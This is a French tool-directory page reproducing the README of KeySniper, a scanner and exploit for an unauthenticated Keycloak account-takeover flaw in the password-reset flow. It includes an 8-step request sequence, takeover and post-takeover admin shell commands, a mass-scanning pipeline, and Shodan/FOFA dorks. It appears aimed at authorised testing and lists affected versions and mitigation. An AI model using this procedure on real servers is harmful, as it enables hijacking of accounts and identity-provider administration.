Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
KeySniper — **CVE-2026-18963** — prise de contrôle non authentifiée de comptes Keycloak via le flux de réinitialisation des identifiants. | Kitploit
Outils/GitHubGitHub/ynsmroztas/keysniper
ReconnaissanceScanners de VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionAuthentificationRed Teaming
GitHubynsmroztas/keysniper

KeySniper

**CVE-2026-18963** — prise de contrôle non authentifiée de comptes Keycloak via le flux de réinitialisation des identifiants.

Voir le dépôt
3il y a 5h 14mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

KeySniper

KeySniper

Auteur : Mitsec — x.com/ynsmroztas

CVE-2026-18963 — prise de contrôle de compte Keycloak non authentifiée via le flux de réinitialisation des identifiants.

KeySniper est un scanner orienté production pour les bug bounty dans le périmètre autorisé et les évaluations autorisées : sortie radar en direct, découverte de realms, détection vs prise de contrôle, shell interactif post-ATO, et pipeline stdin (subfinder → httpx → KeySniper).

Le mode par défaut est détection (--takeover 0). --takeover 1 modifie le mot de passe du compte sur la cible.


Vulnérabilité

ChampValeur
CVECVE-2026-18963
CWECWE-640 — Mécanisme de récupération de mot de passe faible
CVSS9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
ProduitKeycloak / Red Hat SSO
Corrigé dans26.7.2, 26.6.6, 26.4.15
AuthentificationAucune

Deux bugs sont enchaînés :

  1. tryAnotherWay stocke une note de sélecteur générique "true" qui n'est pas limitée à l'ID d'exécution.
  2. ResetCredentialEmail.action() appelle context.success() sans vérifier ACTION_TOKEN_USER_ID.

Résultat : un appelant non authentifié peut forcer le flux de réinitialisation de mot de passe pour un nom d'utilisateur connu et aboutir sur UPDATE_PASSWORD sans cliquer sur le lien de l'e-mail.

Signal de confirmation

L'analyse n'est pas « mot de passe oublié existe ». La confirmation est :

  • le formulaire de sélecteur se réaffiche sur l'URL de réinitialisation d'origine
  • l'UUID execution= change (l'exécution de l'e-mail est divulguée)
  • la réponse contient kc-passwd-update-form
root@kitploit:~
exec3 = 28e2cd30-…   (premier sélecteur)
exec6 = 8fd21174-…   (GET pivot)
         UPDATE_PASSWORD

Fonctionnalités

  • Journal [radar] en direct (Localisation, JS, en-têtes, sonde de realm)
  • Découverte de realms : 302 Location + HTML/JS + well-known + liste de mots
  • Détection automatique du préfixe /auth
  • Pipeline : URLs stdin depuis httpx / subfinder
  • Filtre anti-faux positifs : corps Keycloak requis avant le brute de realms
  • --takeover 0 détection uniquement
  • --takeover 1 définition du mot de passe (par défaut SelaM1337@@)
  • --shell shell interactif token / aide API admin après ATO
  • Badges colorés : VULN / ATO rouge, SAFE vert, SKIP jaune

Installation

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install requests
chmod +x KeySniper.py

Python 3.9+.


Utilisation

root@kitploit:~
# détection (aucun changement de mot de passe)
python3 KeySniper.py -u https://sso.example.com --takeover 0

# prise de contrôle + shell interactif
python3 KeySniper.py -u https://sso.example.com --takeover 1 --shell

# realm / utilisateur
python3 KeySniper.py -u https://sso.example.com -r master -U admin --takeover 0

# pipeline
subfinder -d example.com -silent \
  | httpx -silent -mc 200,302,401 \
  | python3 KeySniper.py --takeover 0 -t 4

# fichier de liste
python3 KeySniper.py -l urls.txt --takeover 0 -q

Options

Ne pas passer --takeover 1 ou --shell sur un dump de pipeline.


Flux (8 étapes)

root@kitploit:~
[1] GET  /realms/{realm}/protocol/openid-connect/auth?client_id=account
         → href mot de passe oublié (reset-credentials)
[2] GET  reset-credentials
         → kc-reset-password-form
[3] POST tryAnotherWay=on
         → kc-select-credential-form
[4] POST username=<utilisateur>
[5] GET  startSessionPolling / restart (si présent)
[6] GET  URL reset-credentials d'origine  (pivot)
         → réaffichage du sélecteur + nouvelle execution=
[7] POST sélecteur obsolète (aucun token d'action)
         → kc-passwd-update-form
[8] POST password-new / password-confirm     (uniquement si --takeover 1)
         → HTTP 302 + code=  ⇒ ATO

Sortie

root@kitploit:~
[VULN] https://sso.example.com realm=master user=admin ver=26.7.1
    confirm exec3=...
    confirm exec6=...
    confirm kc-passwd-update-form

[ATO]  https://sso.example.com realm=master user=admin pass=********
[SAFE] https://idp.example.com reset-open patched
[SKIP] https://www.example.com not-keycloak

leak-no-update n'est pas compté comme VULN.


Shell interactif

S'ouvre uniquement après [ATO] sur une cible unique :

root@kitploit:~
[email protected] ▶ token
[email protected] ▶ whoami
[email protected] ▶ realms
[email protected] ▶ users
[email protected] ▶ user admin
[email protected] ▶ get master
[email protected] ▶ creds
[email protected] ▶ exit

Utilise l'octroi de mot de passe propriétaire de la ressource (admin-cli, puis account).
HTTP 403 sur /admin/realms signifie que Direct Access Grants / le rôle admin est limité — l'ATO peut toujours être valide.


Découverte

  1. Sonder /realms/master puis /auth/realms/master
  2. Récolter les realms depuis Location, HTML, JS, "realm":, issuer
  3. Liste de mots (~70 noms) uniquement après l'empreinte Keycloak
  4. Conserver les realms où /realms/{nom} renvoie 200 + corps Keycloak

Empreintes / reconnaissance

root@kitploit:~
/realms/master
/realms/master/.well-known/openid-configuration
/admin/

Shodan / FOFA (périmètre du programme) :

root@kitploit:~
http.title:"Sign in to"
http.html:"/realms/master"
http.html:"keycloak"
ssl.cert.subject.CN:"example.com" http.html:"/realms/"
root@kitploit:~
title="Keycloak" && host="example.com"
cert="example.com" && body="/realms/master"

Faux positifs

  • Tout 200 sur / est ignoré sauf si le corps contient issuer / public_key / login-actions
  • Mot de passe oublié absent → SKIP (le realm a la réinitialisation désactivée)
  • Fuite du sélecteur sans kc-passwd-update-form → SKIP
  • Les chemins httpx sont réduits à l'origine (/auth conservé)

Versions affectées

Keycloak < 26.7.2 (également 26.6.x < 26.6.6, 26.4.x < 26.4.15).
Atténuation : désactiver Mot de passe oublié sur chaque realm, puis mettre à niveau.

La capture d'écran de ce dépôt est expurgée (placeholder sso.lab.local). Les tokens, mots de passe, e-mails et hôtes réels ne sont pas publiés.


Auteur

Mitsec
X : x.com/ynsmroztas


Licence

Utilisation en recherche sur des cibles autorisées dans le périmètre. Gardez --takeover 1 désactivé sur les hôtes hors périmètre.

Télécharger l’outil
OptionDéfautSignification
-u URL—Cible unique
-l FICHIER—Liste d'URLs
stdinautoLignes httpx (premier champ = URL)
--takeover 0|10Détection vs changement de mot de passe
-U UTILISATEURadminNom d'utilisateur cible
-r REALMautoForcer le realm ou le découvrir
--passSelaM1337@@Nouveau mot de passe si takeover=1
-t N4Threads du pipeline
-qdésactivéRésultats uniquement
--shelldésactivéShell post-ATO (cible unique)
StatutSignification
VULNPivot + UPDATE_PASSWORD (mot de passe non modifié)
ATOÉtape 8 réussie
SAFERéinitialisation ouverte, aucun sélecteur obsolète (corrigé)
SKIPPas Keycloak / réinitialisation désactivée / fuite sans formulaire UPDATE
FAILErreur réseau / exception inattendue